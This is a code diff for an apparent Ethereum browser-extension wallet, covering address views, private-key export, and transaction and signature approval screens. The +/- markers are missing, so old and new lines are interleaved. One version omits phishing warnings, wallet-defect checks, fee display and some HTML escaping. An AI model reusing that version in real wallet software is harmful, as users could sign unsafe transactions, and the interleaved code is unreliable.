const { state, currentAddress, saveState } = require("../../shared/state");
const { formatUsd, getAddressValueUsd } = require("../../shared/prices");
const {
fetchRecentTransactions,
filterTransactions,
@@ -27,24 +24,27 @@ const {
} = require("./send");
const { log } = require("../../shared/log");
const makeBlockie = require("ethereum-blockies-base64");
const exportPrivkey = require("./exportPrivkey");
const { walletDefect } = require("../../shared/walletDefects");
// The defect of the wallet the selected address belongs to, or null. Both the
// send and the private-key export path check it before asking for a password,
// so a wallet that cannot derive its keys says so instead of failing after the
// user has typed one in.
function selectedWalletDefect() {
if (state.selectedWallet === null) return null;
return walletDefect(state.wallets[state.selectedWallet]);
}
const { decryptWithPassword } = require("../../shared/vault");
const { getSignerForAddress } = require("../../shared/wallet");
let ctx;
const EXT_ICON =
`<span style="display:inline-block;width:10px;height:10px;margin-left:4px;vertical-align:middle">` +
`<svg viewBox="0 0 12 12" fill="none" stroke="currentColor" stroke-width="1.5">` +
`<path d="M4.5 1.5H2a.5.5 0 00-.5.5v8a.5.5 0 00.5.5h8a.5.5 0 00.5-.5V7.5"/>` +
`<path d="M7 1.5h3.5V5M7 5.5L10.5 1.5"/>` +
`</svg></span>`;
function etherscanAddressLink(address) {
return `https://etherscan.io/address/${address}`;
}
function show() {
state.selectedToken = null;
const wallet = state.wallets[state.selectedWallet];
const addr = wallet.addresses[state.selectedAddress];
const wi = state.selectedWallet;
const ai = state.selectedAddress;
$("address-title").textContent =
wallet.name + " \u2014 Address " + (ai + 1);
@@ -57,18 +57,22 @@ function show() {
img.style.imageRendering = "pixelated";
img.style.borderRadius = "50%";
blockieEl.appendChild(img);
const addrTitle = addressTitle(addr.address, state.wallets);
$("address-line").innerHTML = renderAddressHtml(addr.address, {
title: addrTitle,
ensName: addr.ensName,
});
$("address-line").dataset.full = addr.address;
attachCopyHandlers($("address-line"));
const usdTotal = formatAddressTotal(getAddressValue(addr));
$("address-dot").innerHTML = addressDotHtml(addr.address);
$("address-full").dataset.full = addr.address;
$("address-full").textContent = addr.address;
const addrLink = etherscanAddressLink(addr.address);
$("address-etherscan-link").innerHTML =
`<a href="${addrLink}" target="_blank" rel="noopener" class="inline-flex items-center">${EXT_ICON}</a>`;
const usdTotal = formatUsd(getAddressValueUsd(addr));
$("address-usd-total").innerHTML = usdTotal || "&nbsp;";
const ensEl = $("address-ens");
// ENS is now shown inside renderAddressHtml, hide the separate element
if (addr.ensName) {
ensEl.innerHTML =
addressDotHtml(addr.address) + escapeHtml(addr.ensName);
ensEl.classList.remove("hidden");
} else {
ensEl.classList.add("hidden");
}
$("address-balances").innerHTML = balanceLinesForAddress(
addr,
state.trackedTokens,
@@ -92,39 +96,18 @@ function show() {
function isoDate(timestamp) {
const d = new Date(timestamp * 1000);
const pad = (n) => String(n).padStart(2, "0");
if (state.utcTimestamps) {
return (
d.getUTCFullYear() +
"-" +
pad(d.getUTCMonth() + 1) +
"-" +
pad(d.getUTCDate()) +
"T" +
pad(d.getUTCHours()) +
":" +
pad(d.getUTCMinutes()) +
":" +
pad(d.getUTCSeconds()) +
"Z"
);
}
const offsetMin = -d.getTimezoneOffset();
const sign = offsetMin >= 0 ? "+" : "-";
const absOff = Math.abs(offsetMin);
const tzStr = sign + pad(Math.floor(absOff / 60)) + ":" + pad(absOff % 60);
return (
d.getFullYear() +
"-" +
pad(d.getMonth() + 1) +
"-" +
pad(d.getDate()) +
"T" +
" " +
pad(d.getHours()) +
":" +
pad(d.getMinutes()) +
":" +
pad(d.getSeconds()) +
tzStr
pad(d.getSeconds())
);
}
@@ -156,7 +139,6 @@ async function loadTransactions(address) {
state.blockscoutUrl,
);
const result = filterTransactions(rawTxs, {
hideSpoofedSymbols: state.hideSpoofedSymbols,
hideLowHolderTokens: state.hideLowHolderTokens,
hideFraudContracts: state.hideFraudContracts,
hideDustTransactions: state.hideDustTransactions,
@@ -188,7 +170,6 @@ async function loadTransactions(address) {
ensNameMap = await resolveEnsNames(
counterparties,
state.rpcUrl,
state.networkId,
);
} catch {
ensNameMap = new Map();
@@ -223,12 +204,10 @@ function renderTransactions(txs) {
: tx.from;
const ensName = ensNameMap.get(counterparty) || null;
const title = addressTitle(counterparty, state.wallets);
// The explorer's method name for a contract call, title-cased.
const dirLabel = escapeHtml(tx.directionLabel);
const sym = displaySymbol(tx.symbol);
const dirLabel = tx.directionLabel;
const amountStr = tx.value
? escapeHtml(tx.value + " " + sym)
: escapeHtml(sym);
? escapeHtml(tx.value + " " + tx.symbol)
: escapeHtml(tx.symbol);
const maxAddr = Math.max(32, 36 - Math.max(0, amountStr.length - 10));
const displayAddr =
title || ensName || truncateMiddle(counterparty, maxAddr);
@@ -249,6 +228,7 @@ function renderTransactions(txs) {
row.addEventListener("click", () => {
const idx = parseInt(row.dataset.tx, 10);
const tx = loadedTxs[idx];
const counterparty = tx.direction === "sent" ? tx.to : tx.from;
tx.fromEns = ensNameMap.get(tx.from) || null;
tx.toEns = ensNameMap.get(tx.to) || null;
ctx.showTransactionDetail(tx);
@@ -258,17 +238,20 @@ function renderTransactions(txs) {
function init(_ctx) {
ctx = _ctx;
$("address-full").addEventListener("click", () => {
const addr = $("address-full").dataset.full;
if (addr) {
navigator.clipboard.writeText(addr);
showFlash("Copied!");
}
});
$("btn-address-back").addEventListener("click", () => {
goBack();
ctx.renderWalletList();
showView("main");
});
$("btn-send").addEventListener("click", () => {
const defect = selectedWalletDefect();
if (defect) {
showFlash(defect.shortMessage);
return;
}
const addr =
state.wallets[state.selectedWallet].addresses[
state.selectedAddress
@@ -283,7 +266,6 @@ function init(_ctx) {
$("send-token-static").classList.add("hidden");
updateSendBalance();
resetSendValidation();
pushCurrentView();
showView("send");
});
@@ -313,20 +295,78 @@ function init(_ctx) {
$("btn-export-privkey").addEventListener("click", () => {
moreDropdown.classList.add("hidden");
moreBtn.classList.remove("bg-fg", "text-bg");
// There is no private key to export for an address this wallet
// cannot derive. Without this the export screen would take a
// password and then report it as wrong.
const defect = selectedWalletDefect();
if (defect) {
showFlash(defect.shortMessage);
return;
}
// No pushCurrentView() here: exportPrivkey.show() can return
// without navigating, so it does its own push.
exportPrivkey.show(state.selectedWallet, state.selectedAddress);
const wallet = state.wallets[state.selectedWallet];
const addr = wallet.addresses[state.selectedAddress];
const blockieEl = $("export-privkey-jazzicon");
blockieEl.innerHTML = "";
const bImg = document.createElement("img");
bImg.src = makeBlockie(addr.address);
bImg.width = 48;
bImg.height = 48;
bImg.style.imageRendering = "pixelated";
bImg.style.borderRadius = "50%";
blockieEl.appendChild(bImg);
$("export-privkey-title").textContent =
wallet.name + " \u2014 Address " + (state.selectedAddress + 1);
$("export-privkey-dot").innerHTML = addressDotHtml(addr.address);
$("export-privkey-address").textContent = addr.address;
$("export-privkey-address").dataset.full = addr.address;
$("export-privkey-password").value = "";
hideError("export-privkey-error");
$("export-privkey-password-section").classList.remove("hidden");
$("export-privkey-result").classList.add("hidden");
$("export-privkey-value").textContent = "";
showView("export-privkey");
});
exportPrivkey.init();
$("btn-export-privkey-confirm").addEventListener("click", async () => {
const password = $("export-privkey-password").value;
if (!password) {
showError("export-privkey-error", "Password is required.");
return;
}
const wallet = state.wallets[state.selectedWallet];
try {
const secret = await decryptWithPassword(
wallet.encryptedSecret,
password,
);
const signer = getSignerForAddress(
wallet,
state.selectedAddress,
secret,
);
const privateKey = signer.privateKey;
$("export-privkey-password-section").classList.add("hidden");
$("export-privkey-value").textContent = privateKey;
$("export-privkey-result").classList.remove("hidden");
hideError("export-privkey-error");
} catch {
showError("export-privkey-error", "Wrong password.");
}
});
$("export-privkey-value").addEventListener("click", () => {
const key = $("export-privkey-value").textContent;
if (key) {
navigator.clipboard.writeText(key);
showFlash("Copied!");
}
});
$("export-privkey-address").addEventListener("click", () => {
const full = $("export-privkey-address").dataset.full;
if (full) {
navigator.clipboard.writeText(full);
showFlash("Copied!");
}
});
$("btn-export-privkey-back").addEventListener("click", () => {
$("export-privkey-value").textContent = "";
$("export-privkey-password").value = "";
show();
});
}
module.exports = { init, show };

View File

@@ -5,22 +5,19 @@ const {
$,
showView,
showFlash,
flashCopyFeedback,
addressDotHtml,
addressTitle,
escapeHtml,
displaySymbol,
truncateMiddle,
balanceLine,
unknownableAmount,
renderAddressHtml,
attachCopyHandlers,
goBack,
pushCurrentView,
} = require("./helpers");
const { state, saveState } = require("../../shared/state");
const { state, currentAddress, saveState } = require("../../shared/state");
const { TOKEN_BY_ADDRESS, resolveSymbol } = require("../../shared/tokenList");
const { formatUsd, getPrice } = require("../../shared/prices");
const {
formatUsd,
getPrice,
getAddressValueUsd,
} = require("../../shared/prices");
const {
fetchRecentTransactions,
filterTransactions,
@@ -33,46 +30,35 @@ const {
} = require("./send");
const { log } = require("../../shared/log");
const makeBlockie = require("ethereum-blockies-base64");
const { walletDefect } = require("../../shared/walletDefects");
let ctx;
const EXT_ICON =
`<span style="display:inline-block;width:10px;height:10px;margin-left:4px;vertical-align:middle">` +
`<svg viewBox="0 0 12 12" fill="none" stroke="currentColor" stroke-width="1.5">` +
`<path d="M4.5 1.5H2a.5.5 0 00-.5.5v8a.5.5 0 00.5.5h8a.5.5 0 00.5-.5V7.5"/>` +
`<path d="M7 1.5h3.5V5M7 5.5L10.5 1.5"/>` +
`</svg></span>`;
function etherscanAddressLink(address) {
return `https://etherscan.io/address/${address}`;
}
function isoDate(timestamp) {
const d = new Date(timestamp * 1000);
const pad = (n) => String(n).padStart(2, "0");
if (state.utcTimestamps) {
return (
d.getUTCFullYear() +
"-" +
pad(d.getUTCMonth() + 1) +
"-" +
pad(d.getUTCDate()) +
"T" +
pad(d.getUTCHours()) +
":" +
pad(d.getUTCMinutes()) +
":" +
pad(d.getUTCSeconds()) +
"Z"
);
}
const offsetMin = -d.getTimezoneOffset();
const sign = offsetMin >= 0 ? "+" : "-";
const absOff = Math.abs(offsetMin);
const tzStr = sign + pad(Math.floor(absOff / 60)) + ":" + pad(absOff % 60);
return (
d.getFullYear() +
"-" +
pad(d.getMonth() + 1) +
"-" +
pad(d.getDate()) +
"T" +
" " +
pad(d.getHours()) +
":" +
pad(d.getMinutes()) +
":" +
pad(d.getSeconds()) +
tzStr
pad(d.getSeconds())
);
}
@@ -119,20 +105,14 @@ function show() {
addr.tokenBalances,
state.trackedTokens,
);
// null when the scale is unknown: no quantity to show, and none to
// price. balanceLine() states that rather than printing 0.0000.
amount = tb ? unknownableAmount(tb.balance) : 0;
amount = tb ? parseFloat(tb.balance || "0") : 0;
price = getPrice(symbol);
}
currentSymbol = symbol;
$("address-token-title").textContent =
wallet.name +
" \u2014 Address " +
(ai + 1) +
" \u2014 " +
displaySymbol(symbol);
wallet.name + " \u2014 Address " + (ai + 1) + " \u2014 " + symbol;
// Blockie
const blockieEl = $("address-token-jazzicon");
@@ -146,16 +126,15 @@ function show() {
blockieEl.appendChild(img);
// Address line
const addrTitle = addressTitle(addr.address, state.wallets);
$("address-token-line").innerHTML = renderAddressHtml(addr.address, {
title: addrTitle,
ensName: addr.ensName,
});
$("address-token-line").dataset.full = addr.address;
attachCopyHandlers($("address-token-line"));
$("address-token-dot").innerHTML = addressDotHtml(addr.address);
$("address-token-full").dataset.full = addr.address;
$("address-token-full").textContent = addr.address;
const addrLink = etherscanAddressLink(addr.address);
$("address-token-etherscan-link").innerHTML =
`<a href="${addrLink}" target="_blank" rel="noopener" class="inline-flex items-center">${EXT_ICON}</a>`;
// USD total for this token only
const usdVal = price && amount !== null ? amount * price : null;
const usdVal = price ? amount * price : 0;
const usdStr = formatUsd(usdVal);
$("address-token-usd-total").innerHTML = usdStr || "&nbsp;";
@@ -182,9 +161,7 @@ function show() {
(knownToken && knownToken.symbol) ||
null;
const tokenName = rawName ? escapeHtml(rawName) : null;
const tokenSymbol = rawSymbol
? escapeHtml(displaySymbol(rawSymbol))
: null;
const tokenSymbol = rawSymbol ? escapeHtml(rawSymbol) : null;
const tokenDecimals =
tb && tb.decimals != null
? tb.decimals
@@ -194,9 +171,15 @@ function show() {
? knownToken.decimals
: null;
const tokenHolders = tb && tb.holders != null ? tb.holders : null;
const dot = addressDotHtml(tokenId);
const tokenLink = `https://etherscan.io/token/${escapeHtml(tokenId)}`;
const projectUrl = knownToken && knownToken.url ? knownToken.url : null;
let infoHtml = `<div class="font-bold mb-2">Contract Address</div>`;
infoHtml += `<div class="mb-2">${renderAddressHtml(tokenId)}</div>`;
infoHtml +=
`<div class="flex items-center mb-2">${dot}` +
`<span class="break-all underline decoration-dashed cursor-pointer" id="address-token-contract-copy" data-copy="${escapeHtml(tokenId)}">${escapeHtml(tokenId)}</span>` +
`<a href="${tokenLink}" target="_blank" rel="noopener" class="inline-flex items-center">${EXT_ICON}</a>` +
`</div>`;
if (tokenName)
infoHtml += `<div class="mb-1"><span class="text-muted">Name:</span> ${tokenName}</div>`;
if (tokenSymbol)
@@ -208,7 +191,6 @@ function show() {
if (projectUrl)
infoHtml += `<div class="mb-1"><span class="text-muted">Website:</span> <a href="${escapeHtml(projectUrl)}" target="_blank" rel="noopener" class="underline decoration-dashed">${escapeHtml(projectUrl)}</a></div>`;
contractInfo.innerHTML = infoHtml;
attachCopyHandlers(contractInfo);
contractInfo.classList.remove("hidden");
} else {
contractInfo.innerHTML = "";
@@ -229,7 +211,6 @@ async function loadTransactions(address, tokenId) {
state.blockscoutUrl,
);
const result = filterTransactions(rawTxs, {
hideSpoofedSymbols: state.hideSpoofedSymbols,
hideLowHolderTokens: state.hideLowHolderTokens,
hideFraudContracts: state.hideFraudContracts,
hideDustTransactions: state.hideDustTransactions,
@@ -271,7 +252,6 @@ async function loadTransactions(address, tokenId) {
ensNameMap = await resolveEnsNames(
counterparties,
state.rpcUrl,
state.networkId,
);
} catch {
ensNameMap = new Map();
@@ -299,12 +279,10 @@ function renderTransactions(txs) {
const counterparty = tx.direction === "sent" ? tx.to : tx.from;
const ensName = ensNameMap.get(counterparty) || null;
const title = addressTitle(counterparty, state.wallets);
// The explorer's method name for a contract call, title-cased.
const dirLabel = escapeHtml(tx.directionLabel);
const sym = displaySymbol(tx.symbol);
const dirLabel = tx.directionLabel;
const amountStr = tx.value
? escapeHtml(tx.value + " " + sym)
: escapeHtml(sym);
? escapeHtml(tx.value + " " + tx.symbol)
: escapeHtml(tx.symbol);
const maxAddr = Math.max(32, 36 - Math.max(0, amountStr.length - 10));
const displayAddr =
title || ensName || truncateMiddle(counterparty, maxAddr);
@@ -334,25 +312,27 @@ function renderTransactions(txs) {
function init(_ctx) {
ctx = _ctx;
$("address-token-full").addEventListener("click", () => {
const addr = $("address-token-full").dataset.full;
if (addr) {
navigator.clipboard.writeText(addr);
showFlash("Copied!");
}
});
$("address-token-contract-info").addEventListener("click", (e) => {
const copyEl = e.target.closest("[data-copy]");
if (copyEl) {
navigator.clipboard.writeText(copyEl.dataset.copy);
showFlash("Copied!");
flashCopyFeedback(copyEl);
}
});
$("btn-address-token-back").addEventListener("click", () => {
goBack();
ctx.showAddressDetail();
});
$("btn-address-token-send").addEventListener("click", () => {
const defect = walletDefect(state.wallets[state.selectedWallet]);
if (defect) {
showFlash(defect.shortMessage);
return;
}
const addr =
state.wallets[state.selectedWallet].addresses[
state.selectedAddress
@@ -374,16 +354,29 @@ function init(_ctx) {
}
// Hide dropdown, show static token display
$("send-token").classList.add("hidden");
let staticHtml = `<div class="font-bold">${escapeHtml(displaySymbol(currentSymbol))}</div>`;
let staticHtml = `<div class="font-bold">${escapeHtml(currentSymbol)}</div>`;
if (tokenId !== "ETH") {
staticHtml += `<div class="text-xs">${renderAddressHtml(tokenId)}</div>`;
const dot = addressDotHtml(tokenId);
const link = `https://etherscan.io/token/${tokenId}`;
const extLink = `<a href="${link}" target="_blank" rel="noopener" class="inline-flex items-center">${EXT_ICON}</a>`;
staticHtml +=
`<div class="flex items-center text-xs">${dot}` +
`<span class="break-all underline decoration-dashed cursor-pointer" data-copy="${escapeHtml(tokenId)}">${escapeHtml(tokenId)}</span>` +
extLink +
`</div>`;
}
$("send-token-static").innerHTML = staticHtml;
$("send-token-static").classList.remove("hidden");
attachCopyHandlers($("send-token-static"));
// Attach copy handler for the contract address
const copyEl = $("send-token-static").querySelector("[data-copy]");
if (copyEl) {
copyEl.addEventListener("click", () => {
navigator.clipboard.writeText(copyEl.dataset.copy);
showFlash("Copied!");
});
}
updateSendBalance();
resetSendValidation();
pushCurrentView();
showView("send");
});

View File

@@ -1,66 +1,51 @@
const {
$,
addressDotHtml,
addressTitle,
escapeHtml,
showView,
showError,
hideError,
renderAddressHtml,
attachCopyHandlers,
onViewLeave,
} = require("./helpers");
const { state, saveState } = require("../../shared/state");
const { networkByChainId } = require("../../shared/networks");
const {
formatEther,
formatUnits,
getBytes,
Interface,
toUtf8String,
} = require("ethers");
const { getPrice, formatUsd } = require("../../shared/prices");
const { formatEther, formatUnits, Interface, toUtf8String } = require("ethers");
const { ERC20_ABI } = require("../../shared/constants");
const { TOKEN_BY_ADDRESS } = require("../../shared/tokenList");
const {
resolveTokenDecimals,
unknownDecimalsAmount,
} = require("../../shared/approvalAmount");
// Four decimals, with the nonzero floor these screens hold: every amount this
// view renders — the ERC-20 line, the ETH value, the max fee — and every one
// it carries forward to the wait/success/error screens goes through it.
const {
truncateAmountNeverZero: formatTxValue,
} = require("../../shared/amountDisplay");
const { decryptWithPassword } = require("../../shared/vault");
const { getSignerForAddress } = require("../../shared/wallet");
const { walletDefect } = require("../../shared/walletDefects");
const { describeSigningFailure } = require("../../shared/approvalVerify");
const txStatus = require("./txStatus");
const uniswap = require("../../shared/uniswap");
const { notify, runtimeApi, sendMessage } = require("../../shared/browserApi");
const runtime =
typeof browser !== "undefined" ? browser.runtime : chrome.runtime;
const EXT_ICON =
`<span style="display:inline-block;width:10px;height:10px;margin-left:4px;vertical-align:middle">` +
`<svg viewBox="0 0 12 12" fill="none" stroke="currentColor" stroke-width="1.5">` +
`<path d="M4.5 1.5H2a.5.5 0 00-.5.5v8a.5.5 0 00.5.5h8a.5.5 0 00.5-.5V7.5"/>` +
`<path d="M7 1.5h3.5V5M7 5.5L10.5 1.5"/>` +
`</svg></span>`;
const erc20Iface = new Interface(ERC20_ABI);
function approvalAddressHtml(address) {
const dot = addressDotHtml(address);
const link = `https://etherscan.io/address/${address}`;
const extLink = `<a href="${link}" target="_blank" rel="noopener" class="inline-flex items-center">${EXT_ICON}</a>`;
const title = addressTitle(address, state.wallets);
return renderAddressHtml(address, { title });
let html = "";
if (title) {
html += `<div class="flex items-center font-bold">${dot}${escapeHtml(title)}</div>`;
html += `<div class="break-all">${escapeHtml(address)}${extLink}</div>`;
} else {
html += `<div class="flex items-center">${dot}<span class="break-all">${escapeHtml(address)}</span>${extLink}</div>`;
}
return html;
}
// The amount line for a decoded ERC-20 call. With a known scale it is the
// token quantity; with `decimals` null it is the base-unit integer with the
// unknown scale stated, because formatting it with an assumed scale is what
// showed a 5,000-token transfer as `0.0000`. `raw` is what the status screens
// carry, `display` is what the approval screen shows.
function tokenAmountText(rawAmount, decimals, symbol) {
if (decimals === null) {
const unknown = unknownDecimalsAmount(rawAmount);
return { raw: unknown, display: unknown };
}
const formatted = formatTxValue(formatUnits(rawAmount, decimals));
return {
raw: formatted,
display: formatted + (symbol ? " " + symbol : ""),
};
function formatTxValue(val) {
const parts = val.split(".");
if (parts.length === 1) return val + ".0000";
const dec = (parts[1] + "0000").slice(0, 4);
return parts[0] + "." + dec;
}
function tokenLabel(address) {
@@ -68,34 +53,22 @@ function tokenLabel(address) {
return t ? t.symbol : null;
}
function etherscanTokenLink(address) {
return `https://etherscan.io/token/${address}`;
}
// Try to decode calldata using known ABIs.
// Returns { name, description, details } or null.
function decodeCalldata(data, toAddress) {
if (!data || data === "0x" || data.length < 10) return null;
// Where a token's scale is looked for, for every decoder below: the ERC-20
// amount line and the swap's Amount and Min. received lines resolve it the
// same way, and refuse to format the same way when it is nowhere.
const decimalsSources = {
trackedTokens: state.trackedTokens,
wallets: state.wallets,
};
// Try ERC-20 (approve / transfer)
try {
const parsed = erc20Iface.parseTransaction({ data });
if (parsed) {
const token = TOKEN_BY_ADDRESS.get(toAddress.toLowerCase());
const tokenSymbol = token ? token.symbol : null;
// null when no source knows this token's scale. It is not
// defaulted to 18: an amount formatted with a guessed scale is
// the wrong number, and for a token with fewer decimals than the
// guess it is the wrong number in the direction that reads as
// zero. See tokenAmountText().
const tokenDecimals = resolveTokenDecimals(
toAddress,
decimalsSources,
);
const tokenDecimals = token ? token.decimals : 18;
const contractLabel = tokenSymbol
? tokenSymbol + " (" + toAddress + ")"
: toAddress;
@@ -107,11 +80,12 @@ function decodeCalldata(data, toAddress) {
"0xffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff",
);
const isUnlimited = rawAmount === maxUint;
// An unbounded allowance needs no scale to describe, so it is
// still named rather than refused.
const amount = isUnlimited
? { raw: "Unlimited", display: "Unlimited" }
: tokenAmountText(rawAmount, tokenDecimals, tokenSymbol);
const amountRaw = isUnlimited
? "Unlimited"
: formatTxValue(formatUnits(rawAmount, tokenDecimals));
const amountStr = isUnlimited
? "Unlimited"
: amountRaw + (tokenSymbol ? " " + tokenSymbol : "");
return {
name: "Token Approval",
@@ -132,8 +106,8 @@ function decodeCalldata(data, toAddress) {
},
{
label: "Amount",
value: amount.display,
rawValue: amount.raw,
value: amountStr,
rawValue: amountRaw,
},
],
};
@@ -142,11 +116,11 @@ function decodeCalldata(data, toAddress) {
if (parsed.name === "transfer") {
const to = parsed.args[0];
const rawAmount = parsed.args[1];
const amount = tokenAmountText(
rawAmount,
tokenDecimals,
tokenSymbol,
const amountRaw = formatTxValue(
formatUnits(rawAmount, tokenDecimals),
);
const amountStr =
amountRaw + (tokenSymbol ? " " + tokenSymbol : "");
return {
name: "Token Transfer",
@@ -163,8 +137,8 @@ function decodeCalldata(data, toAddress) {
{ label: "Recipient", value: to, address: to },
{
label: "Amount",
value: amount.display,
rawValue: amount.raw,
value: amountStr,
rawValue: amountRaw,
},
],
};
@@ -175,79 +149,20 @@ function decodeCalldata(data, toAddress) {
}
// Try Uniswap Universal Router
const routerResult = uniswap.decode(data, toAddress, decimalsSources);
const routerResult = uniswap.decode(data, toAddress);
if (routerResult) return routerResult;
return null;
}
function showPhishingWarning(elementId, isPhishing) {
const el = $(elementId);
if (!el) return;
// The background script performs the authoritative phishing domain check
// and passes the result via the isPhishingDomain flag.
if (isPhishing) {
el.classList.remove("hidden");
} else {
el.classList.add("hidden");
}
}
// The fields of the approved transaction the value and recipient lines do not
// already carry: network, gas limit, fee per gas, the most the fee can come to,
// and the nonce. The background compares every one of them against the signed
// artifact, so every one of them has to be on the screen — a number that is
// verified but never displayed is verified against nothing the user agreed to.
function showTxFee(approvedTx, ethPrice) {
const network = networkByChainId(approvedTx.chainId);
$("approve-tx-network").textContent = network
? network.name
: "Unknown network (chain id " + BigInt(approvedTx.chainId) + ")";
const gasLimit = BigInt(approvedTx.gasLimit);
const feePerGas = BigInt(approvedTx.maxFeePerGas || approvedTx.gasPrice);
const maxFeeEth = formatTxValue(formatEther(gasLimit * feePerGas));
const usdStr = formatUsd(
ethPrice ? parseFloat(maxFeeEth) * ethPrice : null,
);
$("approve-tx-fee").textContent =
maxFeeEth + " ETH" + (usdStr ? " (" + usdStr + ")" : "");
let detail =
gasLimit.toString() +
" gas at up to " +
formatUnits(feePerGas, 9) +
" gwei";
if (approvedTx.maxPriorityFeePerGas) {
detail +=
", " +
formatUnits(approvedTx.maxPriorityFeePerGas, 9) +
" gwei priority";
}
$("approve-tx-fee-detail").textContent = detail;
$("approve-tx-nonce").textContent = BigInt(approvedTx.nonce).toString();
}
function showTxApproval(details) {
showPhishingWarning(
"approve-tx-phishing-warning",
details.isPhishingDomain,
);
// The transaction the background populated. It is displayed as it stands,
// signed as it stands, and verified against as it stands — the popup fills
// nothing in, so there is no number on this screen that the background
// cannot compare with the artifact it gets back.
pendingTxParams = details.approvedTx;
const approvedTx = details.approvedTx;
const toAddr = approvedTx.to;
const toAddr = details.txParams.to;
const token = toAddr ? TOKEN_BY_ADDRESS.get(toAddr.toLowerCase()) : null;
const ethValue = formatEther(approvedTx.value || "0");
const ethValue = formatEther(details.txParams.value || "0");
// Build txInfo for status screens
pendingTxDetails = {
from: details.approvedFrom,
from: state.activeAddress,
to: toAddr || "",
amount: formatTxValue(ethValue),
token: "ETH",
@@ -255,10 +170,8 @@ function showTxApproval(details) {
};
// If this is an ERC-20 call, try to extract the real recipient and amount
const decoded = decodeCalldata(approvedTx.data, toAddr || "");
const decoded = decodeCalldata(details.txParams.data, toAddr || "");
if (decoded && decoded.details) {
let decodedTokenAddr = null;
let decodedTokenSymbol = null;
for (const d of decoded.details) {
if (d.label === "Recipient" && d.address) {
pendingTxDetails.to = d.address;
@@ -266,20 +179,10 @@ function showTxApproval(details) {
if (d.label === "Amount") {
pendingTxDetails.amount = d.rawValue || d.value;
}
if (d.label === "Token In" && d.isToken && d.address) {
const t = TOKEN_BY_ADDRESS.get(d.address.toLowerCase());
if (t) {
decodedTokenAddr = d.address;
decodedTokenSymbol = t.symbol;
}
}
}
if (token) {
pendingTxDetails.token = toAddr;
pendingTxDetails.tokenSymbol = token.symbol;
} else if (decodedTokenAddr) {
pendingTxDetails.token = decodedTokenAddr;
pendingTxDetails.tokenSymbol = decodedTokenSymbol;
}
}
@@ -293,7 +196,7 @@ function showTxApproval(details) {
}
$("approve-tx-hostname").textContent = details.hostname;
$("approve-tx-from").innerHTML = approvalAddressHtml(details.approvedFrom);
$("approve-tx-from").innerHTML = approvalAddressHtml(state.activeAddress);
// Show token symbol next to contract address if known
const symbol = toAddr ? tokenLabel(toAddr) : null;
@@ -303,21 +206,17 @@ function showTxApproval(details) {
toHtml += `<div class="font-bold mb-1">${escapeHtml(symbol)}</div>`;
}
toHtml += approvalAddressHtml(toAddr);
if (symbol) {
const link = etherscanTokenLink(toAddr);
toHtml = toHtml.replace("</div>", "") + ""; // approvalAddressHtml already has etherscan link
}
$("approve-tx-to").innerHTML = toHtml;
} else {
$("approve-tx-to").innerHTML = escapeHtml("(contract creation)");
}
const ethValueFormatted = formatTxValue(
formatEther(approvedTx.value || "0"),
);
const ethPrice = getPrice("ETH");
const ethUsd = ethPrice ? parseFloat(ethValueFormatted) * ethPrice : null;
const usdStr = formatUsd(ethUsd);
$("approve-tx-value").textContent =
ethValueFormatted + " ETH" + (usdStr ? " (" + usdStr + ")" : "");
showTxFee(approvedTx, ethPrice);
formatTxValue(formatEther(details.txParams.value || "0")) + " ETH";
// Decode calldata (reuse decoded from above)
const decodedEl = $("approve-tx-decoded");
@@ -332,9 +231,12 @@ function showTxApproval(details) {
detailsHtml += `<div class="text-muted">${escapeHtml(d.label)}</div>`;
if (d.address) {
if (d.isToken) {
const tLink = etherscanTokenLink(d.address);
detailsHtml += `<div class="font-bold">${escapeHtml(tokenLabel(d.address) || "Unknown token")}</div>`;
}
detailsHtml += approvalAddressHtml(d.address);
} else {
detailsHtml += approvalAddressHtml(d.address);
}
} else {
detailsHtml += `<div class="font-bold">${escapeHtml(d.value)}</div>`;
}
@@ -347,23 +249,14 @@ function showTxApproval(details) {
}
// Always show raw data when present
if (approvedTx.data && approvedTx.data !== "0x") {
$("approve-tx-data").textContent = approvedTx.data;
if (details.txParams.data && details.txParams.data !== "0x") {
$("approve-tx-data").textContent = details.txParams.data;
$("approve-tx-data-section").classList.remove("hidden");
} else {
$("approve-tx-data-section").classList.add("hidden");
}
$("approve-tx-password").value = "";
hideError("approve-tx-error");
showView("approve-tx");
attachCopyHandlers("view-approve-tx");
gateOnWalletDefect(
"approve-tx-error",
"btn-approve-tx",
details.approvedFrom,
);
}
function decodeHexMessage(hex) {
@@ -415,19 +308,10 @@ function formatTypedDataHtml(jsonStr) {
}
function showSignApproval(details) {
showPhishingWarning(
"approve-sign-phishing-warning",
details.isPhishingDomain,
);
const sp = details.signParams;
pendingSignParams = sp;
pendingSignFrom = details.approvedFrom;
$("approve-sign-hostname").textContent = details.hostname;
$("approve-sign-from").innerHTML = approvalAddressHtml(
details.approvedFrom,
);
$("approve-sign-from").innerHTML = approvalAddressHtml(sp.from);
const isTyped =
sp.method === "eth_signTypedData_v4" ||
@@ -452,10 +336,10 @@ function showSignApproval(details) {
if (warningEl) {
if (sp.dangerWarning) {
warningEl.textContent = sp.dangerWarning;
warningEl.style.visibility = "visible";
warningEl.classList.remove("hidden");
} else {
warningEl.textContent = "";
warningEl.style.visibility = "hidden";
warningEl.classList.add("hidden");
}
}
@@ -465,28 +349,12 @@ function showSignApproval(details) {
$("btn-approve-sign").classList.remove("text-muted");
showView("approve-sign");
attachCopyHandlers("view-approve-sign");
gateOnWalletDefect(
"approve-sign-error",
"btn-approve-sign",
details.approvedFrom,
);
}
// Awaited by nobody: the popup entry point calls this and moves on. It
// therefore has to absorb its own failure, and a background that cannot
// describe the approval is the same outcome as an approval that is gone.
async function show(id) {
function show(id) {
approvalId = id;
approvalPort = runtimeApi().connect({ name: "approval:" + id });
let details = null;
try {
details = await sendMessage({ type: "AUTISTMASK_GET_APPROVAL", id });
} catch {
details = null;
}
runtime.connect({ name: "approval:" + id });
runtime.sendMessage({ type: "AUTISTMASK_GET_APPROVAL", id }, (details) => {
if (!details) {
window.close();
return;
@@ -499,243 +367,77 @@ async function show(id) {
showSignApproval(details);
return;
}
// Site connection approval
showPhishingWarning(
"approve-site-phishing-warning",
details.isPhishingDomain,
);
$("approve-hostname").textContent = details.hostname;
$("approve-address").innerHTML = approvalAddressHtml(state.activeAddress);
attachCopyHandlers("view-approve-site");
$("approve-address").innerHTML = approvalAddressHtml(
state.activeAddress,
);
$("approve-remember").checked = state.rememberSiteChoice;
});
}
let approvalId = null;
// The port this approval was opened on. Closing this window disconnects it,
